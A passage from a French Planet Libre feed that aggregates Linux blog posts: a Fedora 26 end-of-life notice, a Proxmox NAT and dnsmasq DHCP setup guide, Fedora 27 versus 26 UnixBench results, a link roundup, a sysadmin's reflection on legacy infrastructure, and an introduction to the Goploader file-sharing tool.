systèmes. Vous pouvez <a href="https://doc.fedora-fr.org/wiki/T%C3%A9l%C3%A9charger_Fedora" hreflang="fr">télécharger des images CD ou USB plus récentes</a>.</p>
<p>Il est également possible de faire <a href="https://doc.fedora-fr.org/wiki/Mise_%C3%A0_niveau_de_Fedora" hreflang="fr">la
mise à niveau sans réinstaller via DNF ou GNOME Logiciels</a>.</p>
<p>GNOME Logiciels a également dû vous prévenir par une pop-up de la
disponibilité de Fedora 27 ou 28. N'hésitez pas à lancer la mise à niveau par
ce biais.</p>
<p><img src="media/d143d7a6.f792a7629fb4a46c01613eb1976730ef" data-original-source="http://cdn.libravatar.org/avatar/f792a7629fb4a46c01613eb1976730ef" alt="Gravatar de Renault" class="gravatar" /><br/><i>Original post of <a href="https://blog.fedora-fr.org/renault/post/Fin-de-vie-de-Fedora-26" title="Visit the source">Renault</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>Renault : <a href="">Fin de vie de Fedora 24</a> (08/08/2017)</li><li>Renault : <a href="">Fin de vie de Fedora 25</a> (12/12/2017)</li><li>Renault : <a href="">Fin de vie de Fedora 22</a> (21/07/2016)</li><li>Renault : <a href="">Fin de vie de Fedora 23</a> (20/12/2016)</li><li>Renault : <a href="">Votez pour les fonds d&#039;&eacute;cran suppl&eacute;mentaires de Fedora 26 !</a> (29/03/2017)</li></ul></div></p>


feed_id: https://blogduyax.madyanne.fr/2018/proxmox-nat-et-dhcp/
title: Yannic Arnoux : Proxmox, NAT et DHCP
uri: Yannic-Arnoux-Proxmox-NAT-et-DHCP
url: https://blogduyax.madyanne.fr/2018/proxmox-nat-et-dhcp/
content:
<p>J’ai eu beaucoup de retours à <a href="https://blogduyax.madyanne.fr/2018/hebergement-containers/">mon dernier article</a> qui ont  alimenté ma réflexion et m’ont permis de clarifier mon objectif avec mon serveur <a href="https://fr.wikipedia.org/wiki/Proxmox_VE">Proxmox</a>. J’ai décidé de pousser plus loin avec les containers LXC, de ne pas utiliser Docker sur le serveur mais d’améliorer certains aspects de mon installation : containeriser ce que j’ai installé directement sur l’hyperviseur (que ce soit par flemme, pour aller vite ou par manque de connaissances) et automatiser le déploiement de certains containers pour faciliter une éventuelle  migration et me permettre d’installer un environnement de test local.</p>

<p>Voici un diagramme à gros grain de l’architecture actuelle :</p>

<p><img src="media/78d6a016.archi-proxmox.jpg" data-original-source="https://blogduyax.madyanne.fr/images/2018/archi-proxmox.jpg" alt="Architecture Proxmox"></p>

<p>Au niveau de l’hyperviseur, on a un pare-feu et une interface <em>Bridge</em> et j’ai installé un serveur NginX au niveau de l’hyperviseur qui joue le rôle de proxy Web vers les containers. Cela implique de modifier la configuration de NginX à chaque ajout d’un service Web et donc de se connecter en SSH à l’hyperviseur. C’est le premier point que je compte améliorer en migrant ce serveur Web vers un container. Or les containers sont configurés en IP fixe. Pour simplifier les configurations, je veux attribuer les adresses IP par DHCP et d’utiliser des noms DNS plutôt que des adresses.</p>

<p>Au préalable, approfondissons la configuration réseau de mon Proxmox déjà en place… rien de révolutionnaire car la plupart de ces choix ont été documentés par d’autres (et j’ai seulement assemblé pour arriver à mes fins) mais ça permettra de mieux comprendre la partie DHCP qui arrive ensuite. Mon serveur est <a href="https://www.online.net/fr/serveur-dedie">une Dedibox hébergée chez Online</a> et Proxmox est une distribution officiellement supportée, donc l’installation initiale est réalisée via l’interface Web d’administration du serveur. De base, une interface physique est configurée avec l’adresse IP fixe du serveur et l’adresse IP de la passerelle. Online attribue une adresse IP fixe à chaque dédibox et on peut acheter des adresses IP supplémentaires. C’est idéal pour associer une adresse IP à chaque container, mais on ne va pas faire ça du tout car :</p>

<ol><li>c’est coûteux (2 euros HT par IP / mois) pour le l’auto-hébergement,</li>
<li>chaque container est directement exposé sur Internet donc il doit être capable d’assurer sa sécurité.</li>
</ol><p>On va plutôt créer un réseau privée (non routable sur Internet), caché derrière l’IP publique du serveur. Les containers peuvent envoyer du trafic sortant sans restriction et le trafic entrant passe par le tamis du pare-feu avant d’être redirigé vers le bon container. C’est similaire à ce qu’on a tous à la maison avec un réseau en 192.168.x.x. derrière une box ADSL (ou fibre pour les chanceux). Pour cela on crée une interface <em>bridge</em> nommée vmbr0 qui sert de passerelle aux containers et on ajoute une règle de translation d’adresse (NAT) pour faire passer le trafic sortant de vmbr0 vers l’interface physique enp1s0.</p>

<p>Configuration dans <em>/etc/network/interfaces</em> :</p>

<pre><code>auto lo
iface lo inet loopback

auto enp1s0
iface enp1s0 inet static
        address  xx.xx.xx.xx
        netmask  255.255.255.0
        gateway  xx.xx.xx.1

auto vmbr0
iface vmbr0 inet static
        address  10.10.10.1
        netmask  255.255.255.0
        bridge_ports none
        bridge_stp off
        bridge_fd 0
        post-up echo 1 > /proc/sys/net/ipv4/ip_forward
        post-up iptables -t nat -A POSTROUTING -s '10.10.10.0/24' -o enp1s0 -j MASQUERADE
        post-down iptables -t nat -D POSTROUTING -s '10.10.10.0/24' -o enp1s0 -j MASQUERADE
</code></pre>

<p>Sans surprise, le pare-feu de Proxmox est basé sur <a href="https://fr.wikipedia.org/wiki/Iptables">iptables</a> et l’interface Web facilite vraiment sa configuration en présentant trois niveaux de pare-feu : un niveau datacenter (qui peut contenir plusieurs Proxmox si on gère un cluster), un niveau noeud et un niveau container. On peut activer le pare-feu à chaque niveau.</p>

<p>Ma configuration de base est la suivante :</p>

<ul><li><p>au niveau datacenter</p>

<ul><li>input policy = DROP : tout le trafic entrant non autorisé explicitement est rejeté</li>
<li>output policy = ACCEPT : tout le trafic sortant est autorisé</li>
<li>autoriser le PING entrant des serveurs ONLINE (62.210.16.0/24) pour qu’ils puissent m’avertir si mon serveur n’est plus joignable</li>
</ul></li>

<li><p>au niveau noeud (mon proxmox principal)</p>

<ul><li>autoriser TCP/8006 entrant : l’accès distant à l’interface Web de Proxmox</li>
<li>autoriser SSH</li>
<li>autoriser HTTP et HTTPS</li>
</ul></li>
</ul><p>Pour finaliser l’aspect sécurisé, on peut installer fail2ban pour scruter les logs des services critiques et bannir les fâcheux.</p>

<p>A ce niveau là, on a un Promox opérationnel : les containers en IP fixe dans le réseau 10.10.10.0/24 peuvent communiquer avec l’extérieur. On va modifier le système pour fournir du DHCP. La première action consiste à remplacer <a href="https://fr.wikipedia.org/wiki/BIND">le serveur DNS Bind</a> fourni avec Proxmox par <a href="https://fr.wikipedia.org/wiki/Dnsmasq">Dnsmasq</a> qui combine les fonctions DNS et DHCP.</p>

<pre><code>systemctl disable bind9
apt-get install dnsmasq
</code></pre>

<p>Et on crée un fichier de configuration dans <em>/etc/dnsmasq.d/containers</em> :</p>

<pre><code>    domain-needed
    bogus-priv

    no-poll
    no-hosts

    no-dhcp-interface=enp1s0
    interface=vmbr0

    expand-hosts
    domain=madyanne.lan

    dhcp-authoritative
    dhcp-leasefile=/tmp/dhcp.leases

    dhcp-range=10.10.10.100,10.10.10.200,255.255.255.0,12h
    dhcp-option=3,10.10.10.1
    dhcp-option=19,1
    dhcp-option=6,10.10.10.1

    cache-size=256

    log-facility=/var/log/dnsmasq.log
    #log-queries
</code></pre>

<p>Quelques points clés de la configuration :</p>

<ul><li>une allocation DHCP entre 10.10.10.100 et 10.10.10.200</li>
<li>on fixe la passerelle de sortie 10.10.10.1</li>
<li>un domaine <em>interne</em> : madyanne.lan</li>
<li>les baux DHCP sont stockés dans un fichier <em>/tmp/dhcp.leases</em></li>
</ul><p>Pour tester, je configure un container en DHCP, démarre le container et… ça ne marche pas :-) Le container n’arrive pas à récupérer une adresse IP. En fait, le pare-feu bloque les requêtes DHCP. Je débloque la solution en autorisant les ports UDP/67 et UDP/68 en entrée de l’interface vmbr0.</p>

<p>La configuration du pare-feu au niveau Proxmox est la suivante :</p>

<p><img src="media/69a6e9da.proxmox-firewall-rules.png" data-original-source="https://blogduyax.madyanne.fr/images/2018/proxmox-firewall-rules.png" alt="Configuration pare-feu"></p>

<p>Ainsi configuré, cela fonctionne ! Dnsmasq ajoute automatiquement les noms obtenus par DHCP à son service DNS. Ainsi depuis n’importe quel container je peux adresser un autre container par nom court :</p>

<pre><code># ping dev
PING dev (10.10.10.100) 56(84) bytes of data.
64 bytes from dev.madyanne.lan (10.10.10.100): icmp_seq=1 ttl=64 time=0.137 ms
64 bytes from dev.madyanne.lan (10.10.10.100): icmp_seq=2 ttl=64 time=0.076 ms
</code></pre>

<p>Il reste un problème en suspens : les containers de type Alpine ont le mauvais goût de ne pas propager leur nom au serveur DHCP ; c’est peut-être paramétrable dans leur <a href="https://wiki.alpinelinux.org/wiki/Udhcpc">service Udhcpc</a>, il faut que je regarde…</p>

<p>Ma prochaine évolution consiste à migrer le serveur NginX installé par mes soins au niveau de le Proxmox vers un container dédié avec la gestion des certificats SSL Let’s Encrypt.</p>
<p><img src="media/79716ccf.308a3596152a79231f3feedc49afa4ef" data-original-source="http://cdn.libravatar.org/avatar/308a3596152a79231f3feedc49afa4ef" alt="Gravatar de Yannic Arnoux" class="gravatar" /><br/><i>Original post of <a href="https://blogduyax.madyanne.fr/2018/proxmox-nat-et-dhcp/" title="Visit the source">Yannic Arnoux</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


title: Eddy33 : Fedora 27 vs Fedora 26 : comparaison des performances pour les versions 64 bits
uri: Eddy33-Fedora-27-vs-Fedora-26-comparaison-des-performances-pour-le
feed_id:
http://eddy33.eddy33.free.fr/weblog/index.php?post/2018/06/02/Fedora-27-vs-Fedora-26-%3A-comparaison-des-performances-pour-les-versions-64-bits

url:
http://eddy33.eddy33.free.fr/weblog/index.php?post/2018/06/02/Fedora-27-vs-Fedora-26-%3A-comparaison-des-performances-pour-les-versions-64-bits

content:
<p>Salut.</p>
<p>Voici les résultats comparatifs de Fedora 27 vs Fedora 26.</p>
<p>Pour rappel, ma machine est équipée d'un Quad Core Intel Q6600 à 2,4 GHz avec 4 Go de RAM.
</p>
<p>Je me suis limité au benchmark UnixBench qui fournit un indice global, ce qui me simplifiera la comparaison.
La version UnixBench utilisée est la version <a href="http://www.tux.org/pub/tux/niemi/unixbench/unixbench-4.1.0.tgz">4.1.0</a>.</p>
Mon protocole de tests est le suivant : <br><ul><li>Installation de Fedora 27 version 64 bits avec le noyau Fedora 4.13.9-300.fc27.x86_64.</li>
<li>La machine est placée en niveau 3 (init 3).</li>
<li>10 séries de tests avec UnixBench compilé sous Fedora 27 et exécuté sous Fedora 27 (4.13.9-300.fc27.x86_64).</li>
<li>10 séries de tests avec UnixBench compilé sous Fedora 26 et exécuté sous Fedora 26 (4.11.8-300.fc26.x86_64).</li>
</ul><div>
Voici les résultats obtenus :</div><div><br><h2>Fedora 27 version 64 bits :</h2>
<a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F27/unixbench_64_1">Série 1</a> : 963.4 <br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F27/unixbench_64_2">Série 2</a> : 997.7<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F27/unixbench_64_3">Série 3</a> : 994.7<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F27/unixbench_64_4">Série 4</a> : 975.2<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F27/unixbench_64_5">Série 5</a> : 984.4<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F27/unixbench_64_6">Série 6</a> : 991.7<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F27/unixbench_64_7">Série 7</a> : 992.3<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F27/unixbench_64_8">Série 8</a> : 1005.1<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F27/unixbench_64_9">Série 9</a> : 998.7<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F27/unixbench_64_10">Série 10</a> : 1003.6<br><br>
Moyenne : 990,7<h2>Fedora 26 version 64 bits :</h2>
Voici pour rappel les résultats obtenus avec Fedora 26 :</div><div>
<a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F26/unixbench_64_1">Série 1</a> : 952.0 </div><div><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F26/unixbench_64_2">Série 2</a> : 986.1<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F26/unixbench_64_3">Série 3</a> : 886.1<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F26/unixbench_64_4">Série 4</a> : 976.2<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F26/unixbench_64_5">Série 5</a> : 970.3<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F26/unixbench_64_6">Série 6</a> : 982.4<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F26/unixbench_64_7">Série 7</a> : 972.3<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F26/unixbench_64_8">Série 8</a> : 981.0<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F26/unixbench_64_9">Série 9</a> : 998.7<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F26/unixbench_64_10">Série 10</a> : 973.2<br><br>
Moyenne : 967,8<h2>Résultats :</h2>
Pour Fedora 27, on obtient un indice moyen de 990,7 pour UnixBench.<br>Pour
Fedora 26,  j'avais obtenu un indice moyen de 967,8 pour UnixBench.<br><br><br>On
a donc une augmentation de 2,4 % de Fedora 27 64 bits par
rapport à Fedora 26 64 bits :<br><br><img title="perfs_fedora_F27.png, mai 2018" alt="perfs_fedora_F27.png" src="media/3b18cf83.perfs_fedora_F27.png" data-original-source="http://eddy33.eddy33.free.fr/weblog/public/perfs_fedora_F27.png" width="600"><br><br><h2>Conclusion :</h2>
<br>Au moment de ces tests, le noyau Fedora 27
(basé sur le noyau vanilla 4.13.9) est un peu plus performant de 2 % que le noyau Fedora 26
(basé sur le noyau vanilla 4.11.8).</div><br><div>++</div>
<p><img src="media/889f4f2a.d1430102ed05bb1a49902c819454fef2" data-original-source="http://cdn.libravatar.org/avatar/d1430102ed05bb1a49902c819454fef2" alt="Gravatar de Eddy33" class="gravatar" /><br/><i>Original post of <a href="http://eddy33.eddy33.free.fr/weblog/index.php?post/2018/06/02/Fedora-27-vs-Fedora-26-%3A-comparaison-des-performances-pour-les-versions-64-bits" title="Visit the source">Eddy33</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>Eddy33 : <a href="">Fedora 26 : performances pour la version 64 bits</a> (31/05/2018)</li><li>Eddy33 : <a href="">Fedora 15 vs Fedora 14 : comparaison des performances pour les versions 32 bits</a> (29/08/2011)</li><li>Eddy33 : <a href="">Fedora 16 vs Fedora 15 : comparaison des performances pour les versions 32 bits</a> (11/12/2011)</li><li>Eddy33 : <a href="">Fedora 17 vs Fedora 16 : comparaison des performances pour les versions 32 bits</a> (26/09/2012)</li><li>Eddy33 : <a href="">Fedora 18 vs Fedora 17 : comparaison des performances pour les versions 32 bits</a> (06/05/2013)</li></ul></div></p>


title: Journal du hacker : Liens intéressants Journal du hacker semaine #22
uri: 2018-06-04-Journal-du-hacker-Liens-intéressants-Journal-du-hacker-semaine-22
feed_id:
https://blog.journalduhacker.net/index.php?article164/liens-interessants-journal-du-hacker-semaine-22-2018

url:
https://blog.journalduhacker.net/index.php?article164/liens-interessants-journal-du-hacker-semaine-22-2018

content:
<p>Pour la 22ème semaine de l'année 2018, voici <strong>10 liens</strong> intéressants que vous avez peut-être ratés, relayés par <a href="https://www.journalduhacker.net/">le Journal du hacker</a>, votre source d’informations pour le Logiciel Libre francophone !</p>

<a href="https://www.journalduhacker.net/"><img src="media/01f45034.logo-journal-du-hacker.png" data-original-source="https://blog.journalduhacker.net/data/medias/logo-journal-du-hacker.png"></a>

<ul><li><a href="https://www.journalduhacker.net/s/jrtykr/je_fais_mon_coming_out">Je fais mon coming out</a></li>
<li><a href="https://www.journalduhacker.net/s/yuyuhb/ce_quil_se_passe_quand_on_envoie_un_mail">Ce qu'il se passe quand on envoie un mail</a></li>
<li><a href="https://www.journalduhacker.net/s/ef3gaj/et_si_je_d_googlisais_ma_tablette">Et si je dégooglisais ma tablette ?</a></li>
<li><a href="https://www.journalduhacker.net/s/v9gqaz/que_sest_il_pass_entre_11h05_et_13h03_le_24">Que s'est-il passé entre 11h05 et 13h03 le 24 avril dernier ?</a></li>
<li><a href="https://www.journalduhacker.net/s/dagdee/ovh_g_le_le_d_veloppement_de_hubic">OVH gèle le développement de hubiC</a></li>
<li><a href="https://www.journalduhacker.net/s/bqm51v/la_bataille_pour_le_logiciel_libre_en">La bataille pour le logiciel libre en Afrique</a></li>
<li><a href="https://www.journalduhacker.net/s/8bsvwk/le_https_cest_bon_mangez_en">Le HTTPS, c'est bon, mangez-en.</a></li>
<li><a href="https://www.journalduhacker.net/s/5yswnh/peertube_vers_la_version_1_et_au_del">PeerTube : vers la version 1, et au-delà !</a></li>
<li><a href="https://www.journalduhacker.net/s/t65q1x/mot_de_passe_root_oubli_sous_centos">Mot de passe root oublié sous CentOS ?</a></li>
<li><a href="https://www.journalduhacker.net/s/7nnukx/opensuse_leap_15_est_sortie">openSUSE Leap 15 est sortie</a></li>
</ul><p>Pour ne plus rater aucun article de la communauté francophone, voici :</p>

<ul><li><a href="https://www.journalduhacker.net/rss">Le flux RSS du Journal du hacker</a></li>
<li><a href="https://twitter.com/journalduhacker">Le compte Twitter du Journal du hacker</a></li>
<li><a href="https://framasphere.org/u/journalduhacker">Le compte Diaspora* du Journal du hacker</a></li>
<li><a href="https://framapiaf.org/@journalduhacker">Le compte Mastodon du Journal du hacker</a></li>
</ul><p>De plus le site web du Journal du hacker est « adaptatif (responsive) ». N’hésitez pas à le consulter depuis votre smartphone ou votre tablette !</p>

<p>Le Journal du hacker fonctionne de manière collaborative, grâce à la participation de ses membres. <a href="https://www.journalduhacker.net/invitations/request">Rejoignez-nous</a> pour proposer vos contenus à partager avec la communauté du Logiciel Libre francophone et faire connaître vos projets !</p>

<p><strong>Et vous ? Qu’avez-vous pensé de ces articles ?</strong> N’hésitez pas à réagir directement dans les commentaires de l’article sur le Journal du hacker ou bien dans les commentaires de ce billet :)</p>
<p><img src="media/ffe97a17.7916ee3cafa0bc3e9583bedad876dcd5" data-original-source="http://cdn.libravatar.org/avatar/7916ee3cafa0bc3e9583bedad876dcd5" alt="Gravatar de Journal du hacker" class="gravatar" /><br/><i>Original post of <a href="https://blog.journalduhacker.net/index.php?article164/liens-interessants-journal-du-hacker-semaine-22-2018" title="Visit the source">Journal du hacker</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>Journal du hacker : <a href="">Liens int&eacute;ressants Journal du hacker semaine #22</a> (06/06/2016)</li><li>Journal du hacker : <a href="">Liens int&eacute;ressants Journal du hacker semaine #22</a> (05/06/2017)</li></ul></div></p>


title: genma : Devenir SysAdmin d'une PME - Accepter de ne pas avoir le contrôle sur tout- Billet n°3
uri: genma-Devenir-SysAdmin-d-une-PME-Accepter-de-ne-pas-avoir-le-contr
feed_id:
https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Accepter-de-ne-pas-avoir-le-controle-sur-tout-Billet-no3

url:
https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Accepter-de-ne-pas-avoir-le-controle-sur-tout-Billet-no3

content:
<img alt="" src="https://blog.genma.fr/IMG/arton2757.jpg?1528054127" width="150" height="79"><div><p>Ce billet fait partie de la série :
<br><img src="https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300" width="8" height="11" alt="-"><a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-retour-d-experience" title="Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0">Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0</a>
<br><img src="https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300" width="8" height="11" alt="-"><a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Gestion-du-legacy-Billet-no1" title="Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1">Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1</a>
<br><img src="https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300" width="8" height="11" alt="-"><a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Mineur-de-bitcoin-Billet-no2" title="Devenir SysAdmin d'une PME - Mineur de bitcoin- Billet n°2">Devenir SysAdmin d'une PME - Mineur de bitcoin- Billet n°2</a></p>
<p>Nouveau billet de la série Devenir SysAdmin d'une PME avec cette fois ci un billet de réflexion autour du sujet du contrôle et de la maîtrise et plus exactement sur le fait d'accepter de ne pas avoir le contrôle sur tout.</p>
<p>A la mi-mars, j'écrivais deux billets assez intimistes à savoir <a href="https://blog.genma.fr/?Le-metier-passion" title="Le métier passion">Le métier passion</a> et <a href="https://blog.genma.fr/?Tout-intellectualiser" title="Tout intellectualiser">Tout intellectualiser</a>, dans lesquels j'évoquais le travers dans lequel j'étais tombé de part avoir (enfin) un métier que j'aime et la volonté de vouloir toujours plus de contrôle...</p>
<p>Dans les semaines qui ont suivies, j'ai pris du recul, réfléchit et j'apprends peu à peu à accepter qu'on ne peut pas avoir le contrôle sur tout. Comme indiqué avec le début de la série de billet <i>Devenir SysAdmin d'une PME</i>, je suis en pleine restructuration de l'infrastructure en commençant par l'appropriation de cette dernière, la gestion de la documentation pour me permettre l'appropriation des différentes strates et couches accumulées au cours des années par différents administrateurs systèmes. Avant de pouvoir passer à une phase d'homogénéisation permettant alors une industrialisation de le gestion de tout le S.I., il y a la compréhension de ce dernier, <a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Gestion-du-legacy-Billet-no1" title="Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1">la gestion du legacy</a>, <a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Mineur-de-bitcoin-Billet-no2" title="Devenir SysAdmin d'une PME - Mineur de bitcoin- Billet n°2">la gestion des incidents de sécurité</a>par méconnaissance de l'existence de ce site Drupal planqué dans un coin)...</p>
<p>Accepter de ne pas avoir le contrôle sur tout, c'est accepter que l'on a encore beaucoup de travail à faire avec la gestion du legacy. Et qu'un incident interviendra forcément sur quelque chose que l'on a pas encore eu le temps de documenter ou de revoir la documentation si celle-ci est déjà existante. Il y aura forcément, dans un coin, le serveur qui <i>marche</i> et que tout le monde a oublié avec un mot de passe que personne ne connaît plus... Jusque ce qu'il y ait un soucis (un disque qui ne répond plus ou autre) et que soudain, cela devienne une priorité.</p>
<p>Idem pour les sauvegardes. Je dois faire un billet dédié sur la mise en place des sauvegardes avec Borg (que je ne peux que conseiller et tous les retours que j'en ai des personnes qui ont suivi ce conseil me conforte dans le fait d'avoir moi-même suivi le conseil d'utiliser Borg. Les sysadmin, une grande famille qui partage les bonnes astuces). Je pars du principe que si je ne sais pas, ça n'existe pas.</p>
<p>Il y a très certainement des sauvegardes automatisées et tout marche. Mais comme <i>dans tout legacy</i>, il y a différents outils, mis en place au fur et à mesure. Je pars du principe que si je ne sais pas (encore) comment ça marche et surtout si je n'ai pas testé la restauration de la sauvegarde, ça n'existe pas. C'est très direct. Mais au moins ça donne un bon aperçu de la réalité : le moment où j'aurai besoin de cette sauvegarde, ce sera forcément dans un moment d'urgence. Si je ne sais pas comment ça marche et comment restaurer, cela revient à ne pas avoir de sauvegarde d'une certaine façon. Accepter de ne pas avoir le contrôle sur tout, c'est accepter que pour l'instant, tout n'est pas industrialiser au niveau des sauvegardes, que tout n'est pas sous contrôle...</p>
<p>De même, dans le cadre de la sécurité et de la gestion des PC des collaborateurs. Beaucoup d'entreprise font le choix de verrouiller au maximum les PC en limitant les droits, les applications installées, en mettant des proxys... Une autre façon de faire et de sécuriser le S.I. et d'accepter le BYOD et de responsabiliser les collaborateur.trice.s. L'entreprise dans laquelle je suis, je l'ai choisi sur de nombreux critères dont le fait que l'on soit Administrateur de sa machine. Le fait que l'on soit sous un O.S. GNU/Linux (distribution de son choix) limite grandement les risques de sécurité classique liés aux postes sous Windows (virus, spyware...) tout comme le fait d'avoir des colloborateur.trice.s geek, utilisateur.trice.s avancé.e.s ayant par conséquence des notions plus élevés que la moyenne des bonnes pratiques de l'hygiène numérique. Un exemple est la facilité que j'ai à imposer l'usage de Keepass vu que beaucoup l'utilisent déjà par défaut.</p>
<p>Toutefois, je sais bien qu'un tas de fichiers sont créés sur lei postes utilisateurs... Et avec la mise en application du RGPD, il y a eu des nouvelles sessions de formation et de sensibilisation de faite et des sessions à faire et refaire, aux nouveaux arrivants, en rappel... De même, trop nombreuses restent encore les personnes qui ignorent que Firefox stocke les données du profil en clair sur le disque, et que l'OS a beau avoir un mot de passe, l'intégralité du contenu du disque est accessible via un live usb. Dans ce cas, seule solution : le chiffrement du poste. Là, encore, accepte-t-on de ne pas avoir la phrase de passe ?</p>
<p>Autre cas, la gestion des tickets, des demandes etc. Là encore, il faut accepter de déléguer, en donnant des consignes strictes sur la qualité de la documentation mise en place, sur l'enrichissement et le maintient de cette dernière. On ne peut pas tout faire et il faut donc accepter de ne pas avoir le contrôle sur tout. Mais ce n'est pas une raison pour que l'on ait le contrôle sur rien ;)</p></div>
<p><img src="media/42493842.dd4318d0d3a7d2ffb13756f63b76d85d" data-original-source="http://cdn.libravatar.org/avatar/dd4318d0d3a7d2ffb13756f63b76d85d" alt="Gravatar de genma" class="gravatar" /><br/><i>Original post of <a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Accepter-de-ne-pas-avoir-le-controle-sur-tout-Billet-no3" title="Visit the source">genma</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


feed_id: http://blog.admin-linux.org/logiciels-libres/goploader-partage-de-fichier-et-secret
title: Admin-Linux : Goploader – Partage de fichier et secret
uri: Admin-Linux-Goploader-Partage-de-fichier-et-secret
url: http://blog.admin-linux.org/logiciels-libres/goploader-partage-de-fichier-et-secret
content:
<!-- Easy Plugin for AdSense V8.67 -->
<!-- [leadin: 2 urCount: 2 urMax: 0] -->
<div><!-- 468x60, date de création 16/07/09 --><ins data-ad-client="ca-pub-0298800800727273" data-ad-slot="8584363548"></ins>
</div>
<!-- Easy Plugin for AdSense V8.67 -->
<p>Un petit article rapide pour vous présenter une découverte faite ce jour que je trouve sympa.</p>
<p>Il s’agit de Goploader, qui est un système de partage de fichier et secret.</p>
<p>L’idée de départ était de pouvoir partager facilement des fichiers depuis le terminal.</p>
<p>Goploader est composé d’un client et d’un serveur tous deux écrits en Go.</p>
<p>Les fonctionnalités de Goploader :</p>
<ul><li>HTTPS seulement en utilisant Let’s Encrypt et Caddy Server</li>
<li>Upload directement depuis stdin</li>
<li>Upload un fichier en le donnant directement en tant qu’argument au client</li>
<li>Tous les fichiers sont <span><span title="">cryptés à la réception et décryptés uniquement lorsqu’ils sont servis</span></span></li>
<li>La clef pour décryptée le fichier n’est pas sauvegardée sur le serveur</li>
<li>Fonctionne avec Curl</li>
</ul><p>L’origine du projet est inspiré de <a href="https://0bin.net/">0bin</a>, lui même inspiré de <a href="http://sebsauvage.net/paste/">Zerobin</a> de <a href="http://sebsauvage.net/">SebSauvage</a> qu’on ne présente plus <img src="media/cd400252.1f642.png" data-original-source="https://s.w.org/images/core/emoji/2.4/72x72/1f642.png" alt="🙂"></p>
<p> </p>
<h2>Utiliser Goploader via curl</h2>
<p><strong>Upload the file named <code>myfile.txt</code></strong></p>
<p><code>$ curl -F <span>file</span><span>=</span>@myfile.txt https://gpldr.in/</code></p>
<p><strong>Change the name of the file to « myamazingfile! »</strong></p>
<p><code>$ curl -F <span>name</span><span>=</span><span>"myamazingfile!"</span> -F <span>file</span><span>=</span>@myfile.txt https://gpldr.in/</code></p>
<p> </p>
<h2>Utiliser Goploader via le client :</h2>
<p><strong>Take a screenshot of the whole screen after 5 seconds, upload it with a progress bar and copy the returned URL to the clipboard</strong></p>
<ul><li><code>$ goploader --progress --screenshot --delay<span>=</span><span>"5s"</span> --clipboard</code></li>
</ul><p> </p>
<h2>Intégrer Goploader au menu contextuel du gestionnaire de fichiers :</h2>
<pre><span>[Desktop Entry]</span>
<span>Type</span> <span>=</span> <span>Action</span>
<span>Tooltip</span> <span>=</span> <span>Upload file on Goploader</span>
<span>Name</span> <span>=</span> <span>Upload on Goploader...</span>
<span>Profiles</span> <span>=</span> <span>goploader_onfile;</span>

<span>[X-Action-Profile goploader_onfile]</span>
<span>MimeTypes</span> <span>=</span> <span>all/allfiles;</span>
<span>SelectionCount</span> <span>=</span> <span>=1</span>
<span>Exec</span> <span>=</span> <span>goploader -c %d/%b</span>
</pre>
<p> </p>
<h2>Utiliser l’interface web de Goploader :</h2>
<p>Rien de plus parlant qu’un screenshot :</p>
